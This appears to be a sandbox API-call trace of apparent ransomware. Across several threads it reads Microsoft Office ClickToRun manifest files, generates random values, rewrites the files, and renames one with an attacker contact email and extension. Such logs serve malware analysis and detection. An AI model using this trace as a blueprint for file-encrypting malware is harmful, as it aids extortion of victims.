	[0088.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.854] WriteFile (in: hFile=0x1bdc, lpBuffer=0x47cf020*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2c23fc64, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesWritten=0x2c23fc64*=0xc800, lpOverlapped=0x0) returned 1
	[0093.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0093.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0093.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2e04ea0
	[0093.163] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.163] WriteFile (hFile=0x1bdc, lpBuffer=0x4790970, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x2c23fce4, lpOverlapped=0x0) 

Thread:
	id = 1276
	os_tid = 0x202c

	[0088.851] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml")) returned 0x20
	[0088.856] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0088.856] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1be0
	[0088.857] GetFileSizeEx (in: hFile=0x1be0, lpFileSize=0x2c2bf89c | out: lpFileSize=0x2c2bf89c*=36720) returned 1
	[0088.857] SetFilePointerEx (in: hFile=0x1be0, liDistanceToMove=0x8f6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.857] ReadFile (in: hFile=0x1be0, lpBuffer=0x2c2bf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c2bf81c, lpOverlapped=0x0 | out: lpBuffer=0x2c2bf820*, lpNumberOfBytesRead=0x2c2bf81c*=0x4, lpOverlapped=0x0) returned 1
	[0088.858] SetFilePointerEx (in: hFile=0x1be0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0088.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0088.858] NtQuerySystemTime (in: CurrentTime=0x2c2bf7fc | out: CurrentTime=0x2c2bf7fc*=132251868156007377) returned 0x0
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xd825ad70
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x37b91b86
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x964d19c8
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x79c3a458
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x63d29d92
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xe91ae20a
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xd48a7763
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x16b06f08
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x94e4828e
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xf4867961
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x63b3b1c0
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x18d4b297
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xa7db53af
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xc3366717
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xd747aeb6
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xd5f4d45c
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x664fc1b9
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xaff8c90
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x38710ce9
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xc887f35c
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xc1993e2
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xffe491e5
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xb23575a3
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xc7438161
	[0088.858] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x5bdc0b18
	[0088.859] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xd35a10d9
	[0088.859] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x23ec01d0
	[0088.859] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x3394eda1
	[0088.859] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xe53b49bb
	[0088.859] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x2988ceb4
	[0088.859] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0xe69793ec
	[0088.859] RtlRandom (in: Seed=0x2c2bf808 | out: Seed=0x2c2bf808) returned 0x8c8020c2
	[0088.868] ReadFile (in: hFile=0x1be0, lpBuffer=0x47db828, nNumberOfBytesToRead=0x8f70, lpNumberOfBytesRead=0x2c2bf7f8, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x2c2bf7f8*=0x8f70, lpOverlapped=0x0) returned 1
	[0088.876] SetFilePointerEx (in: hFile=0x1be0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.876] WriteFile (in: hFile=0x1be0, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2c2bf7f4, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x2c2bf7f4*=0x8f70, lpOverlapped=0x0) returned 1
	[0093.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0093.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0093.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0093.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0093.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0093.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0093.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0093.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d77ae0
	[0093.184] SetFilePointerEx (in: hFile=0x1be0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.184] WriteFile (hFile=0x1be0, lpBuffer=0x2d864c0, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x2c2bf85c, lpOverlapped=0x0) 

Thread:
	id = 1277
	os_tid = 0x2030

	[0088.879] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml")) returned 0x20
	[0088.881] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0088.881] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1be4
	[0088.881] GetFileSizeEx (in: hFile=0x1be4, lpFileSize=0x2c33fc14 | out: lpFileSize=0x2c33fc14*=36750) returned 1
	[0088.881] SetFilePointerEx (in: hFile=0x1be4, liDistanceToMove=0x8f8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.881] ReadFile (in: hFile=0x1be4, lpBuffer=0x2c33fb98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c33fb94, lpOverlapped=0x0 | out: lpBuffer=0x2c33fb98*, lpNumberOfBytesRead=0x2c33fb94*=0x4, lpOverlapped=0x0) returned 1
	[0088.883] SetFilePointerEx (in: hFile=0x1be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0088.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0088.883] NtQuerySystemTime (in: CurrentTime=0x2c33fb74 | out: CurrentTime=0x2c33fb74*=132251868156172523) returned 0x0
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x2de41051
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xf40b8e2f
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x2e122112
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xdb27c414
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x46527a49
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xabfd613a
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x6d258396
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x1e4a66e4
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xa1817072
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x9b4e3c9a
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xb201b6c0
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xba2e4de3
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xbf89f6a2
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xf940bb99
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xa2f20889
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x9a3849ae
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x76bd08b
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xb01d8dab
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xe007a978
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x38839f01
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x86819ae7
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xd6869fb0
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x2c1896e2
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x1ea94219
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xb0a96b1e
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xcce3853e
	[0088.883] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xc97fb27f
	[0088.884] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xe861ca50
	[0088.884] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x593c8ed1
	[0088.884] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x758aae43
	[0088.884] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0x7d9dc026
	[0088.884] RtlRandom (in: Seed=0x2c33fb80 | out: Seed=0x2c33fb80) returned 0xbe37c6dd
	[0088.893] ReadFile (in: hFile=0x1be4, lpBuffer=0x501a020, nNumberOfBytesToRead=0x8f8e, lpNumberOfBytesRead=0x2c33fb70, lpOverlapped=0x0 | out: lpBuffer=0x501a020*, lpNumberOfBytesRead=0x2c33fb70*=0x8f8e, lpOverlapped=0x0) returned 1
	[0088.895] SetFilePointerEx (in: hFile=0x1be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.895] WriteFile (in: hFile=0x1be4, lpBuffer=0x4f55780*, nNumberOfBytesToWrite=0x8f8e, lpNumberOfBytesWritten=0x2c33fb6c, lpOverlapped=0x0 | out: lpBuffer=0x4f55780*, lpNumberOfBytesWritten=0x2c33fb6c*=0x8f8e, lpOverlapped=0x0) returned 1
	[0093.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0093.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0093.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0093.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f55780) returned 1
	[0093.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x501a020) returned 1
	[0093.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83558) returned 1
	[0093.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0093.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x47bcd10
	[0093.179] SetFilePointerEx (in: hFile=0x1be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.179] WriteFile (hFile=0x1be4, lpBuffer=0x2d86360, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x2c33fbd4, lpOverlapped=0x0) 

Thread:
	id = 1278
	os_tid = 0x2034

	[0088.896] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml")) returned 0x20
	[0088.897] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0088.897] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1be8
	[0088.897] GetFileSizeEx (in: hFile=0x1be8, lpFileSize=0x2c3bfea8 | out: lpFileSize=0x2c3bfea8*=6158) returned 1
	[0088.897] SetFilePointerEx (in: hFile=0x1be8, liDistanceToMove=0x180a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.897] ReadFile (in: hFile=0x1be8, lpBuffer=0x2c3bfe2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c3bfe28, lpOverlapped=0x0 | out: lpBuffer=0x2c3bfe2c*, lpNumberOfBytesRead=0x2c3bfe28*=0x4, lpOverlapped=0x0) returned 1
	[0088.899] SetFilePointerEx (in: hFile=0x1be8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0088.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0088.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0088.899] NtQuerySystemTime (in: CurrentTime=0x2c3bfe08 | out: CurrentTime=0x2c3bfe08*=132251868156319851) returned 0x0
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xe2274f00
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x8a86995b
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x9f38319d
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xfec6890a
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xefd7778f
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x24eb913f
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xe125b6ed
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xa32a609c
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x64f715a4
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x58e9e959
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x5178c2a8
	[0088.899] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x7b3c788b
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x4017863c
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xed8c3e3b
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x463da1e
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xa3239d51
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x2854a22a
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x8ff72065
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x1fd98235
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x48fe4420
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xfe1ca5fd
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xe885e26c
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xaf1aa451
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xd52996ea
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x3c0634cc
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x13ee760e
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xda6c9ab9
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xb9dbb2f9
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xf1c88d21
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xb07a411
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0x2f40f0d2
	[0088.900] RtlRandom (in: Seed=0x2c3bfe14 | out: Seed=0x2c3bfe14) returned 0xae7b841e
	[0088.909] ReadFile (in: hFile=0x1be8, lpBuffer=0x4f61f88, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x2c3bfe04, lpOverlapped=0x0 | out: lpBuffer=0x4f61f88*, lpNumberOfBytesRead=0x2c3bfe04*=0x180e, lpOverlapped=0x0) returned 1
	[0088.910] SetFilePointerEx (in: hFile=0x1be8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.910] WriteFile (in: hFile=0x1be8, lpBuffer=0x4f6e790*, nNumberOfBytesToWrite=0x180e, lpNumberOfBytesWritten=0x2c3bfe00, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesWritten=0x2c3bfe00*=0x180e, lpOverlapped=0x0) returned 1
	[0088.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0088.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0088.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0088.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0088.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61f88) returned 1
	[0088.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0088.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb228) returned 1
	[0088.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x59) returned 0x4734088
	[0088.912] SetFilePointerEx (in: hFile=0x1be8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.912] WriteFile (in: hFile=0x1be8, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x13d, lpNumberOfBytesWritten=0x2c3bfe68, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c3bfe68*=0x13d, lpOverlapped=0x0) returned 1
	[0088.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47340f0) returned 1
	[0088.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0088.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0088.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0088.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e70) returned 1
	[0088.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0088.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0088.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12a) returned 0x4ebca00
	[0088.914] wcscpy (in: _Dest=0x4ebca00, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml"
	[0088.914] wcscat (in: _Dest=0x4ebca00, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.914] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c3bfe20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2e02570
	[0088.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0088.917] NtQueryInformationFile (in: FileHandle=0x1be8, IoStatusBlock=0x2c3bfe2c, FileInformation=0x2c3bfe04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c3bfe2c, FileInformation=0x2c3bfe04) returned 0x0
